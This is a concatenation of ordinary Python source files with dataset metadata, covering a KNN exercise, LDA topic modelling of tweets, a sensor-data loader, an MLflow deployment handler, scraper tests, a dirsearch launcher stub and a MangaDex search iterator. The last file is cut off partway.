train_acc.append(clf.score(X_train, Y_train)) # 리스트 증가 clf = knn\n test_acc.append(clf.score(X_test, Y_test)) # 트레이닝한거 테스트한거\n\n# 시각화\nplt.plot(k_list, test_acc, label= 'test_acc of ')\nplt.plot(k_list, train_acc, label = 'train _ acc of')\n\n\nplt.xlabel('k')\nplt.ylabel('acc')\nplt.legend()\nplt.show()\n\n # > 여기까지가 KNN\n\n", "repo_name": "Heyyounghan/AIstudy", "sub_path": "molamola/200217_KNN.py", "file_name": "200217_KNN.py", "file_ext": "py", "file_size_in_byte": 1696, "program_lang": "python", "lang": "ko", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pandabear.read_csv", "line_number": 12, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 22, "usage_type": "call"}, {"api_name": "sklearn.neighbors.KNeighborsClassifier", "line_number": 27, "usage_type": "call"}, {"api_name": "sklearn.neighbors.KNeighborsClassifier", "line_number": 38, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 44, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 44, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 45, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 45, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 48, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 48, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 49, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 49, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 50, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 50, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 51, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 51, "usage_type": "name"}]} {"seq_id": "37267194741", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Mar 28 16:22:45 2018\n\n@author: thiru\n\"\"\"\n\nfrom nltk.corpus import stopwords\nfrom apple.models import *\nfrom nltk.stem.wordnet import WordNetLemmatizer\nimport string\nimport gensim\nfrom gensim import corpora\nimport pandas as pd\nimport datetime\nimport re\nimport pyLDAvis.gensim as gensimvis\nimport pyLDAvis\n\n\nwords_to_remove = set(['rt','apple','apple_support','applesupport','support'])\nstop = set(stopwords.words('english'))\nstop = stop.union(words_to_remove)\n\nexclude = set(string.punctuation)\nlemma = WordNetLemmatizer()\n\ndate_timelines = [1,7,30] #days\nexplained = ['daily','weekly','monthly']\ndates = [datetime.date.today() - datetime.timedelta(days=x) for x in date_timelines]\n\n\ndef run():\n tweets = Tweet.objects.filter(created_at__gte = dates[-1]) # last\n for i in range(len(dates)-1,-1,-1):\n tweets = tweets.filter(created_at__gte = dates[i])\n num_topics = 6\n\n text = [x.text for x in tweets]\n preprocessed_text = preprocess_text(text)\n texts_cleaned = [(clean(x)).split() for x in preprocessed_text]\n if len(texts_cleaned) == 0:\n texts_cleaned = ['no text'.split()]\n texts_cleaned = pd.Series(texts_cleaned)\n\n\n ldamodel,dictionary,doc_term_matrix = run_lda(texts_cleaned,num_topics)\n\n# results = pretty_print_results(ldamodel,num_topics,num_words = 7)\n# for entry in results:\n# print(entry)\n# print('\\n')\n\n vis_data = gensimvis.prepare(ldamodel,doc_term_matrix, dictionary )\n pyLDAvis.save_html(vis_data,'apple/static/ldatopics/{}.html'.format(explained[i]))\n\n print(\"LDA job complete!\")\n\n\n\ndef clean(doc):\n stop_free = ' '.join([i for i in doc.lower().split() if i not in stop])\n punc_free = ''.join(ch for ch in stop_free if ch not in exclude)\n normalized = \" \".join(lemma.lemmatize(word) for word in punc_free.split())\n return normalized\n\n\ndef run_lda(doc_clean,num_topics):\n dictionary = corpora.Dictionary(doc_clean)\n doc_term_matrix = [dictionary.doc2bow(doc) for doc in doc_clean]\n lda = gensim.models.ldamodel.LdaModel\n ldamodel = lda(doc_term_matrix,num_topics=num_topics,id2word = dictionary,passes = 60)\n return ldamodel,dictionary,doc_term_matrix\n\ndef pretty_print_results(ldamodel,num_topics,num_words):\n z = ldamodel.print_topics(num_topics=num_topics,num_words=num_words)\n group = 1\n for i in range(len(z)):\n entry = z[i][1]\n entry = ''.join([i for i in entry if not (i.isdigit() or i == '.' or i == '*')])\n entry = entry.replace('\"','')\n entry = '{}. {}'.format(group,entry)\n entry = entry.replace(' + ',', ')\n z[i] = entry\n group += 1\n return z\n\ndef preprocess_text(text_list):\n words_to_remove = ['rt']\n text_list = [x.lower() for x in text_list]\n # strip urls\n text_list = [re.sub(r'(https|http)?:\\/\\/(\\w|\\.|\\/|\\?|\\=|\\&|\\%)*\\b', '', x, flags=re.MULTILINE) for x in text_list]\n text_list = [' '.join([i for i in x.lower().split() if i not in stop]) for x in text_list]\n\n for word in words_to_remove:\n c = re.compile('(\\s*){}(\\s*)'.format(word))\n text_list = [c.sub('',x) for x in text_list]\n\n return text_list\n", "repo_name": "Waffleboy/Blackrock2018", "sub_path": "dashboard/scripts/lda_job.py", "file_name": "lda_job.py", "file_ext": "py", "file_size_in_byte": 3248, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "71", "api": [{"api_name": "nltk.corpus.stopwords.words", "line_number": 23, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords", "line_number": 23, "usage_type": "name"}, {"api_name": "string.punctuation", "line_number": 26, "usage_type": "attribute"}, {"api_name": "nltk.stem.wordnet.WordNetLemmatizer", "line_number": 27, "usage_type": "call"}, {"api_name": "datetime.date.today", "line_number": 31, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 31, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 31, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 45, "usage_type": "call"}, {"api_name": "pyLDAvis.gensim.prepare", "line_number": 55, "usage_type": "call"}, {"api_name": "pyLDAvis.gensim", "line_number": 55, "usage_type": "name"}, {"api_name": "pyLDAvis.save_html", "line_number": 56, "usage_type": "call"}, {"api_name": "gensim.corpora.Dictionary", "line_number": 70, "usage_type": "call"}, {"api_name": "gensim.corpora", "line_number": 70, "usage_type": "name"}, {"api_name": "gensim.models", "line_number": 72, "usage_type": "attribute"}, {"api_name": "re.sub", "line_number": 93, "usage_type": "call"}, {"api_name": "re.MULTILINE", "line_number": 93, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 97, "usage_type": "call"}]} {"seq_id": "40154398549", "text": "import numpy as np\nimport scipy.io as scio\n\ndef ReadData1(data_All1):\n data_cup1_tmp = []\n data_cup1_tmp0 = np.concatenate((data_All1[0],\n np.zeros((2000 - data_All1[0].shape[0], 39))))\n for i in range(1, 100):\n data_cup1_tmp = np.concatenate((data_All1[i],\n np.zeros((2000 - data_All1[i].shape[0], 39))))\n if i == 1:\n data_cup1_tmp_a = np.array(data_cup1_tmp0)\n data_cup1_tmp_b = np.array(data_cup1_tmp)\n data_cup11 = np.array([data_cup1_tmp_a, data_cup1_tmp_b])\n else:\n data_cup1_com_1 = np.append(data_cup11, data_cup1_tmp)\n data_cup1_dim = data_cup11.shape\n data_cup11 = data_cup1_com_1.reshape(data_cup1_dim[0] + 1,\n data_cup1_dim[1],\n data_cup1_dim[2])\n\n return data_cup11\n\ndef LoadData():\n path_base_cat1 = '/Users/mengxue/Documents/Paper/ChestAuthentication/Material/BigData/Final/GQY/Matlab/HeySiri'\n path_base_cat2 = '/Users/mengxue/Documents/Paper/ChestAuthentication/Material/BigData/Final/DengYangTao/Matlab/HeySiri'\n path_base_cat3 = '/Users/mengxue/Documents/Paper/ChestAuthentication/Material/BigData/Final/WuYuan/Matlab/HeySiri'\n path_base_cat4 = '/Users/mengxue/Documents/Paper/ChestAuthentication/Material/BigData/Final/HuHaiYan/Matlab/HeySiri'\n path_base_cat5 = '/Users/mengxue/Documents/Paper/ChestAuthentication/Material/BigData/Final/OuRunMin/Matlab/HeySiri'\n\n\n cupLabels = []\n\n # Get the data from person one.\n for i in range(1, 101):\n path_tmp = path_base_cat1 + str(i) + '.mat'\n data_tmp = scio.loadmat(path_tmp)\n together_data = np.concatenate((data_tmp['cor1_ccc2'], data_tmp['cor2_ccc2']), axis=0)\n if i == 1:\n data_All1 = [together_data]\n cupLabels.append('A') # label person 1\n else:\n data_All1.append(together_data)\n cupLabels.append('A') # label person 1\n data_cup1 = ReadData1(data_All1)\n # print(\"Person1 shape\", data_cup1.shape, '\\t', \"Person1 data num\", len(data_All1))\n\n # Get the data from person two.\n for i in range(1, 101):\n path_tmp = path_base_cat2 + str(i) + '.mat'\n data_tmp = scio.loadmat(path_tmp)\n together_data = np.concatenate((data_tmp['cor1_ccc2'], data_tmp['cor2_ccc2']), axis=0)\n if i == 1:\n data_All2 = [together_data]\n cupLabels.append('B') # label person 2\n else:\n data_All2.append(together_data)\n cupLabels.append('B') # label person 2\n data_cup2 = ReadData1(data_All2)\n # print(\"Person2 shape\", data_cup2.shape, '\\t', \"Person2 data num\", len(data_All2))\n\n # # Get the data from person Three.\n for i in range(1, 101):\n path_tmp = path_base_cat3 + str(i) + '.mat'\n data_tmp = scio.loadmat(path_tmp)\n together_data = np.concatenate((data_tmp['cor1_ccc2'], data_tmp['cor2_ccc2']), axis=0)\n\n if i == 1:\n data_All3 = [together_data]\n cupLabels.append('C') # label person 3\n else:\n data_All3.append(together_data)\n cupLabels.append('C') # label person 3\n data_cup3 = ReadData1(data_All3)\n # print(\"Person3 shape\", data_cup3.shape, '\\t', \"Person3 data num\", len(data_All3))\n\n # Get the data from person Four.\n for i in range(1, 101):\n path_tmp = path_base_cat4 + str(i) + '.mat'\n data_tmp = scio.loadmat(path_tmp)\n together_data = np.concatenate((data_tmp['cor1_ccc2'], data_tmp['cor2_ccc2']), axis=0)\n\n if i == 1:\n data_All4 = [together_data]\n cupLabels.append('D') # label person 3\n else:\n data_All4.append(together_data)\n cupLabels.append('D') # label person 3\n data_cup4 = ReadData1(data_All4)\n # print(\"Person4 shape\", data_cup4.shape, '\\t', \"Person4 data num\", len(data_All4))\n\n # Get the data from person Five.\n for i in range(1, 101):\n path_tmp = path_base_cat5 + str(i) + '.mat'\n data_tmp = scio.loadmat(path_tmp)\n together_data = np.concatenate((data_tmp['cor1_ccc2'], data_tmp['cor2_ccc2']), axis=0)\n\n if i == 1:\n data_All5 = [together_data]\n cupLabels.append('E') # label person 3\n else:\n data_All5.append(together_data)\n cupLabels.append('E') # label person 3\n data_cup5 = ReadData1(data_All5)\n # print(\"Person5 shape\", data_cup5.shape, '\\t', \"Person5 data num\", len(data_All5))\n\n # Concatenate the data off three people.\n data_cup = np.concatenate((data_cup1, data_cup2, data_cup3, data_cup4, data_cup5), axis=0) #\n\n return data_cup, cupLabels\n", "repo_name": "MrWang98/ChestLive", "sub_path": "Fewshotchestmotion/Func_ReadPartData.py", "file_name": "Func_ReadPartData.py", "file_ext": "py", "file_size_in_byte": 4773, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "71", "api": [{"api_name": "numpy.concatenate", "line_number": 6, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 7, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 9, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 10, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 12, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 13, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 14, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 16, "usage_type": "call"}, {"api_name": "scipy.io.loadmat", "line_number": 37, "usage_type": "call"}, {"api_name": "scipy.io", "line_number": 37, "usage_type": "name"}, {"api_name": "numpy.concatenate", "line_number": 38, "usage_type": "call"}, {"api_name": "scipy.io.loadmat", "line_number": 51, "usage_type": "call"}, {"api_name": "scipy.io", "line_number": 51, "usage_type": "name"}, {"api_name": "numpy.concatenate", "line_number": 52, "usage_type": "call"}, {"api_name": "scipy.io.loadmat", "line_number": 65, "usage_type": "call"}, {"api_name": "scipy.io", "line_number": 65, "usage_type": "name"}, {"api_name": "numpy.concatenate", "line_number": 66, "usage_type": "call"}, {"api_name": "scipy.io.loadmat", "line_number": 80, "usage_type": "call"}, {"api_name": "scipy.io", "line_number": 80, "usage_type": "name"}, {"api_name": "numpy.concatenate", "line_number": 81, "usage_type": "call"}, {"api_name": "scipy.io.loadmat", "line_number": 95, "usage_type": "call"}, {"api_name": "scipy.io", "line_number": 95, "usage_type": "name"}, {"api_name": "numpy.concatenate", "line_number": 96, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 108, "usage_type": "call"}]} {"seq_id": "10340638867", "text": "\"\"\"\nDefinition of Base Run Handler\n\"\"\"\n\nfrom abc import abstractmethod\nfrom io import BytesIO\nfrom os import environ as env_vars\nfrom os.path import exists\nfrom subprocess import check_call as run_shell_command\nfrom zipfile import ZipFile\n\nfrom mlflow.tracking import MlflowClient\nfrom shared.logger.job_lifecycle_manager import JobLifecycleManager\nfrom shared.models.mlflow_models import SqlArtifact\n\nfrom ..base_handler import BaseHandler\n\n__author__: str = \"Splice Machine, Inc.\"\n__copyright__: str = \"Copyright 2019, Splice Machine Inc. All Rights Reserved\"\n__credits__: list = [\"Amrit Baveja\"]\n\n__license__: str = \"Proprietary\"\n__version__: str = \"2.0\"\n__maintainer__: str = \"Amrit Baveja\"\n__email__: str = \"abaveja@splicemachine.com\"\n\nDOWNLOAD_PATH: str = f'{env_vars[\"WORKER_HOME\"]}/pmml'\n\n\nclass BaseDeploymentHandler(BaseHandler):\n \"\"\"\n Base class for run handlers--\n handlers that execute jobs (AWS Deployment etc.)\n \"\"\"\n\n def __init__(self, task_id: int) -> None:\n \"\"\"\n :param task_id: (int) id of the task to execute\n \"\"\"\n BaseHandler.__init__(self, task_id)\n self.downloaded_model_path: str = DOWNLOAD_PATH + str(\n task_id) # So when we temporarily download the model we don't overwrite other models\n self.mlflow_run: object = None\n self.artifact = None\n self.artifact_buffer: bytearray or None = None\n\n def retrieve_run_from_mlflow(self) -> None:\n \"\"\"\n Retrieve the current run from mlflow tracking server\n \"\"\"\n self.logger.info(\"Retrieving Run from MLFlow Tracking Server...\", send_db=True)\n client: MlflowClient = MlflowClient(tracking_uri=env_vars['MLFLOW_URL'])\n try:\n self.mlflow_run: object = client.get_run(self.task.parsed_payload['run_id'].strip())\n except Exception:\n raise Exception(\n \"Error: The Run associated with the ID specified could not be retrieved\"\n )\n\n def _retrieve_model_binary_stream_from_db(self) -> None:\n \"\"\"\n Use SQLAlchemy to retrieve the model artifact\n from Database with the specified path\n and associated Run UUID\n \"\"\"\n self.logger.info(\"Reading Model Artifact Stream from Splice Machine\", send_db=True)\n run_id: str = self.mlflow_run.info.run_uuid\n\n self.logger.info(f\"Extracting Model from DB with Name: {self.model_dir}\", send_db=True)\n try:\n self.artifact = self.Session.query(SqlArtifact) \\\n .filter_by(name=self.model_dir) \\\n .filter_by(run_uuid=run_id).one()\n\n except IndexError:\n self.logger.exception(\n f\"No artifact could be found in database with name {self.model_dir} and run_id \"\n f\"{run_id}\", send_db=True\n )\n raise Exception(\"Model with the specified Run ID and Name could not be found!\")\n\n def _deserialize_artifact_stream(self) -> None:\n \"\"\"\n Take the BLOB Retrieved from the database.py,\n convert it into a model,\n and then serialize it to the disk for deployment\n \"\"\"\n self.logger.info(\"Decoding Model Artifact Binary Stream for Deployment\", send_db=True)\n\n try:\n if exists(self.downloaded_model_path):\n run_shell_command(('rm', '-Rf', self.downloaded_model_path))\n\n artifact_buffer = BytesIO()\n artifact_buffer.write(self.artifact.binary)\n artifact_buffer.seek(0)\n self.logger.info(\"Decompressing Model Artifact\", send_db=True)\n ZipFile(artifact_buffer).extractall(path=self.downloaded_model_path)\n\n except KeyError as e:\n self.logger.exception(\"Unable to find the specified file extension handler\", send_db=True)\n raise Exception(f\"Unable to find the specified fix extension {self.artifact.file_extension}\")\n\n def _cleanup(self) -> None:\n \"\"\"\n Cleanup after the model is deployed\n \"\"\"\n self.logger.info(\"Cleaning up deployment\", send_db=True)\n temp_glob: str = \"/tmp/tmp*\" # remove all temp files generated by MLFlow\n\n run_shell_command(('rm', '-Rf', self.downloaded_model_path))\n run_shell_command(('rm', '-Rf', temp_glob)) # cleanup azure deployment files\n\n @abstractmethod\n def execute(self) -> None:\n \"\"\"\n Subclass specific run functionality\n \"\"\"\n pass\n\n def exception_handler(self, exc: Exception):\n \"\"\"\n Function that runs if there is an error\n executing a job\n :param exc: the exception thrown\n \"\"\"\n self.logger.error(f\"Running Exception Callback because of encountered: '{exc}'\", send_db=True)\n\n def _handle(self) -> None:\n \"\"\"\n We add the MLFlow Run URL as a parameter\n that can be displayed in a GUI for all\n of these Jobs.\n \"\"\"\n try:\n self.retrieve_run_from_mlflow()\n run_url: str = f\"#/experiments/{self.mlflow_run.info.experiment_id}/\" \\\n f\"runs/{self.mlflow_run.info.run_uuid}\"\n\n self.logger.info(f\"Retrieved MLFlow Run\", send_db=True)\n\n self.model_dir: str = self.mlflow_run.data.tags.get('splice.model_name')\n if not self.model_dir:\n self.logger.exception(f\"No model was found for run {self.mlflow_run.info.run_uuid}. Ensure that\"\n f\"the splice.model_name tag is available for this model\", send_db=True)\n raise Exception(f'No model was found for run {self.mlflow_run.info.run_uuid}')\n\n # populates a link to the associated Mlflow run that opens in a new tab.\n self.logger.info(\"Updating MLFlow Run for the UI\", send_db=True)\n self.task.mlflow_url = f\"Link to Mlflow Run\"\n\n # WHEN UPDATING JOBS, WE *MUST* USE THE MANAGER SESSION, NOT THE RUN SESSION\n # TO PREVENT EARLY COMMITTING OF THE DDL TRANSACTIONS WHEN WE UPDATE STATUS/LOGS\n self.manager.Session.add(self.task)\n self.manager.Session.commit()\n\n self.execute()\n self._cleanup()\n except Exception as e:\n self.exception_handler(exc=e) # can be overriden by subclasses\n self._cleanup() # always run cleanup, regardless of success or failure\n raise e\n", "repo_name": "splicemachine/ml-workflow", "sub_path": "bobby/src/handlers/run_handlers/base_deployment_handler.py", "file_name": "base_deployment_handler.py", "file_ext": "py", "file_size_in_byte": 6478, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "70", "api": [{"api_name": "os.environ", "line_number": 27, "usage_type": "name"}, {"api_name": "base_handler.BaseHandler", "line_number": 30, "usage_type": "name"}, {"api_name": "base_handler.BaseHandler.__init__", "line_number": 40, "usage_type": "call"}, {"api_name": "base_handler.BaseHandler", "line_number": 40, "usage_type": "name"}, {"api_name": "mlflow.tracking.MlflowClient", "line_number": 52, "usage_type": "name"}, {"api_name": "os.environ", "line_number": 52, "usage_type": "name"}, {"api_name": "shared.models.mlflow_models.SqlArtifact", "line_number": 71, "usage_type": "argument"}, {"api_name": "os.path.exists", "line_number": 91, "usage_type": "call"}, {"api_name": "subprocess.check_call", "line_number": 92, "usage_type": "call"}, {"api_name": "io.BytesIO", "line_number": 94, "usage_type": "call"}, {"api_name": "zipfile.ZipFile", "line_number": 98, "usage_type": "call"}, {"api_name": "subprocess.check_call", "line_number": 111, "usage_type": "call"}, {"api_name": "subprocess.check_call", "line_number": 112, "usage_type": "call"}, {"api_name": "abc.abstractmethod", "line_number": 114, "usage_type": "name"}]} {"seq_id": "9054883617", "text": "import pytest\n\nimport immoscrapy\n\n\n@pytest.mark.parametrize(\n \"real_estate_type, return_type\",\n [\n ('HOUSE_BUY', immoscrapy.HOUSE_BUY),\n ('HOUSE_RENT', immoscrapy.HOUSE_RENT),\n ('APARTMENT_BUY', immoscrapy.APARTMENT_BUY),\n ('APARTMENT_RENT', immoscrapy.APARTMENT_RENT),\n ]\n)\ndef test_query_berlin(real_estate_type, return_type):\n result = immoscrapy.query('de', 'berlin', 'berlin', real_estate_type)\n assert isinstance(result[0], return_type)\n\n\ndef test_query_raises_value_error():\n with pytest.raises(ValueError):\n immoscrapy.query('de', 'berlin', 'berlin', 'foo')\n\n\ndef test_regression_gh_8():\n \"\"\"Apparently this query raises an 401.\"\"\"\n # I cannot reproduce it on my machine though\n immoscrapy.query('de', 'chemnitz', 'chemnitz', 'HOUSE_BUY', price=900000)\n", "repo_name": "venthur/immoscrapy", "sub_path": "tests/test_immoscrapy.py", "file_name": "test_immoscrapy.py", "file_ext": "py", "file_size_in_byte": 824, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "71", "api": [{"api_name": "immoscrapy.query", "line_number": 16, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 6, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 6, "usage_type": "attribute"}, {"api_name": "immoscrapy.HOUSE_BUY", "line_number": 9, "usage_type": "attribute"}, {"api_name": "immoscrapy.HOUSE_RENT", "line_number": 10, "usage_type": "attribute"}, {"api_name": "immoscrapy.APARTMENT_BUY", "line_number": 11, "usage_type": "attribute"}, {"api_name": "immoscrapy.APARTMENT_RENT", "line_number": 12, "usage_type": "attribute"}, {"api_name": "pytest.raises", "line_number": 21, "usage_type": "call"}, {"api_name": "immoscrapy.query", "line_number": 22, "usage_type": "call"}, {"api_name": "immoscrapy.query", "line_number": 28, "usage_type": "call"}]} {"seq_id": "33457799659", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 2 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,\n# MA 02110-1301, USA.\n#\n# Author: Mauro Soria\n\nimport sys\n\nif sys.version_info < (3, 0):\n sys.stdout.write(\"Sorry, dirsearch requires Python 3.x\\n\")\n sys.exit(1)\n\nfrom lib.core import ArgumentParser\nfrom lib.controller import *\nfrom lib.output import *\n\n\nclass Program(object):\n def __init__(self):\n self.script_path = (os.path.dirname(os.path.realpath(__file__)))\n self.arguments = ArgumentParser(self.script_path)\n self.output = CLIOutput()\n self.controller = Controller(self.script_path, self.arguments, self.output)\n\n\nif __name__ == '__main__':\n main = Program()\n", "repo_name": "TideSec/FuzzScanner", "sub_path": "libs/dirsearch/dirsearch.py", "file_name": "dirsearch.py", "file_ext": "py", "file_size_in_byte": 1352, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 950, "dataset": "github-code", "pt": "71", "api": [{"api_name": "sys.version_info", "line_number": 22, "usage_type": "attribute"}, {"api_name": "sys.stdout.write", "line_number": 23, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 23, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 24, "usage_type": "call"}, {"api_name": "lib.core.ArgumentParser", "line_number": 34, "usage_type": "call"}]} {"seq_id": "8854126122", "text": "import logging\nimport queue\nimport re\n\nfrom .mdlist import MangaDexList\nfrom .errors import HTTPException, InvalidURL, MangaDexException, NotLoggedIn\nfrom .network import Net, base_url\nfrom .manga import ContentRating, Manga\nfrom .fetcher import get_list\nfrom .user import User\nfrom .language import get_language\nfrom .config import ConfigTypeError, _validate_bool as validate_boolean\nfrom .utils import validate_url, get_local_attr\n\nlog = logging.getLogger(__name__)\n\nclass BaseIterator:\n def __init__(self):\n self.queue = queue.Queue()\n self.offset = 0\n\n def __iter__(self):\n return self\n\n def __next__(self):\n if self.queue.empty():\n # Maximum number of results from MangaDex API\n if self.offset >= 10000:\n raise StopIteration()\n else:\n self.fill_data()\n\n try:\n return self.next()\n except queue.Empty:\n raise StopIteration()\n\n def fill_data(self):\n raise NotImplementedError\n\n def next(self):\n return self.queue.get_nowait()\n\nclass SearchFilterError(MangaDexException):\n def __init__(self, key, msg):\n text = f\"Search filter error '{key}' = {msg}\"\n\n super().__init__(text)\n\nclass IteratorManga(BaseIterator):\n def __init__(\n self,\n title,\n authors=None,\n artists=None,\n year=None,\n included_tags=None,\n included_tags_mode=None,\n excluded_tags=None,\n excluded_tags_mode=None,\n status=None,\n original_language=None,\n excluded_original_language=None,\n available_translated_language=None,\n publication_demographic=None,\n content_rating=None,\n created_at_since=None,\n updated_at_since=None,\n has_available_chapters=None,\n group=None,\n order=None\n ):\n super().__init__()\n\n _default_content_ratings = [\n 'safe',\n 'suggestive',\n 'erotica',\n 'pornographic'\n ]\n\n self.limit = 100\n self.title = title\n\n # Validation\n value_and_or = ['AND', 'OR']\n\n if year:\n m = re.match(r'[0-9]{4}')\n if not m:\n raise SearchFilterError(\n \"year\",\n f\"value must be integer and length must be 4\"\n )\n\n _locals = locals()\n def validate_tags_mode(key):\n value = _locals[key]\n if value and value.upper() not in value_and_or:\n raise SearchFilterError(\n key,\n f\"value must be 'OR' or 'AND', not '{value}'\"\n )\n\n validate_tags_mode(\"included_tags_mode\")\n validate_tags_mode(\"excluded_tags_mode\")\n\n def validate_uuid(key):\n new_values = []\n values = _locals[key]\n if values is None:\n return\n \n if isinstance(values, str):\n values = [values]\n \n for value in values:\n # Get the id\n try:\n _id = validate_url(value)\n except InvalidURL:\n raise SearchFilterError(\n key,\n f\"'{value}' is not valid UUID\"\n )\n else:\n new_values.append(_id)\n \n return new_values\n\n group = validate_uuid(\"group\")\n\n tags = self._get_tags()\n def validate_tags(key):\n new_values = []\n values = _locals[key]\n if values is None:\n return\n\n if isinstance(values, str):\n values = [values]\n\n # Lowercase to prevent error\n values = [i.lower() for i in values]\n\n for value in values:\n # Try to match the keyword tags\n try:\n _id = tags[value]\n except KeyError:\n pass\n else:\n new_values.append(_id)\n continue\n\n # Try to get uuid\n try:\n _id = validate_url(value)\n except InvalidURL:\n raise SearchFilterError(\n key,\n f\"'{value}' is not valid keyword or uuid tag\"\n )\n \n new_values.append(_id)\n \n return new_values\n\n included_tags = validate_tags(\"included_tags\")\n excluded_tags = validate_tags(\"excluded_tags\")\n\n def validate_values_from_list(key, array):\n values = _locals[key]\n if values is None:\n return\n \n if isinstance(values, str):\n values = [values]\n\n for value in values:\n if value.lower() not in array:\n raise SearchFilterError(\n key,\n f\"Value must be one of {array}, not {value}\"\n )\n\n _status_values = [\n 'ongoing',\n 'completed',\n 'hiatus',\n 'cancelled'\n ]\n validate_values_from_list(\"status\", _status_values)\n\n def validate_language(key):\n new_values = []\n values = _locals[key]\n if values is None:\n return\n\n if isinstance(values, str):\n values = [values]\n\n for value in values:\n try:\n lang = get_language(value)\n except ValueError as e:\n raise SearchFilterError(key, e)\n else:\n new_values.append(lang.value)\n \n return new_values\n \n original_language = validate_language(\"original_language\")\n excluded_original_language = validate_language(\"excluded_original_language\")\n available_translated_language = validate_language(\"available_translated_language\")\n\n _pub_demo_values = [ \n 'shounen',\n 'shoujo',\n 'josei',\n 'seinen',\n 'none'\n ]\n validate_values_from_list(\"publication_demographic\", _pub_demo_values)\n\n _content_rating_values = [a.value for a in ContentRating]\n validate_values_from_list(\"content_rating\", _content_rating_values)\n\n if has_available_chapters:\n try:\n validate_boolean(has_available_chapters)\n except ConfigTypeError as e:\n raise SearchFilterError(\"has_available_chapters\", e)\n\n # Validate orders\n def validate_order(order):\n new_order = {}\n ascending = ['asc', 'ascending']\n descending = ['desc', 'descending']\n for key, value in order.items():\n # Validate order keys\n re_order_key = r'order\\[(' \\\n r'title|' \\\n r'year|' \\\n r'createdAt|' \\\n r'updatedAt|' \\\n r'latestUploadedChapter|' \\\n r'followedCount|' \\\n r'relevance|' \\\n r'rating|' \\\n r')\\]'\n match = re.match(re_order_key, key)\n if match is None:\n raise SearchFilterError(\n key,\n \"Invalid order key\"\n )\n\n if value in ascending:\n new_order[key] = ascending[0]\n elif value in descending:\n new_order[key] = descending[0]\n else:\n raise SearchFilterError(\n key,\n f\"invalid value must be one of {ascending} or {descending}\"\n )\n \n return new_order\n\n order = validate_order(order)\n\n self._param_init = {\n \"authors[]\": authors,\n \"artists[]\": artists,\n \"year\": year,\n \"includedTags[]\": included_tags,\n \"includedTagsMode\": included_tags_mode,\n \"excludedTags[]\": excluded_tags,\n \"excludedTagsMode\": excluded_tags_mode,\n \"status[]\": status,\n \"originalLanguage[]\": original_language,\n \"excludedOriginalLanguage[]\": excluded_original_language,\n \"availableTranslatedLanguage[]\": available_translated_language,\n \"publicationDemographic[]\": publication_demographic,\n \"contentRating[]\": content_rating or _default_content_ratings,\n \"createdAtSince\": created_at_since,\n \"updatedAtSince\": updated_at_since,\n \"hasAvailableChapters\": has_available_chapters,\n \"group\": group,\n }\n\n self._param_init.update(**order)\n\n def _get_tags(self):\n tags = {}\n r = Net.mangadex.get(f'{base_url}/manga/tag')\n data = r.json()\n\n for item in data['data']:\n _id = item['id']\n attr = item['attributes']\n name = get_local_attr(attr['name']).lower()\n tags[name] = _id\n \n return tags\n\n def _get_params(self):\n includes = ['author', 'artist', 'cover_art']\n\n params = {\n 'includes[]': includes,\n 'title': self.title,\n 'limit': self.limit,\n 'offset': self.offset,\n }\n params.update(self._param_init.copy())\n\n return params\n\n def fill_data(self):\n params = self._get_params()\n url = f'{base_url}/manga'\n r = Net.mangadex.get(url, params=params)\n data = r.json()\n\n if r.status_code >= 400:\n err = data['errors'][0]['detail']\n raise MangaDexException(err)\n\n items = data['data']\n \n for item in items:\n self.queue.put(Manga(data=item))\n\n self.offset += len(items)\n\nclass IteratorUserLibraryManga(BaseIterator):\n statuses = [\n 'reading',\n 'on_hold',\n 'plan_to_read',\n 'dropped',\n 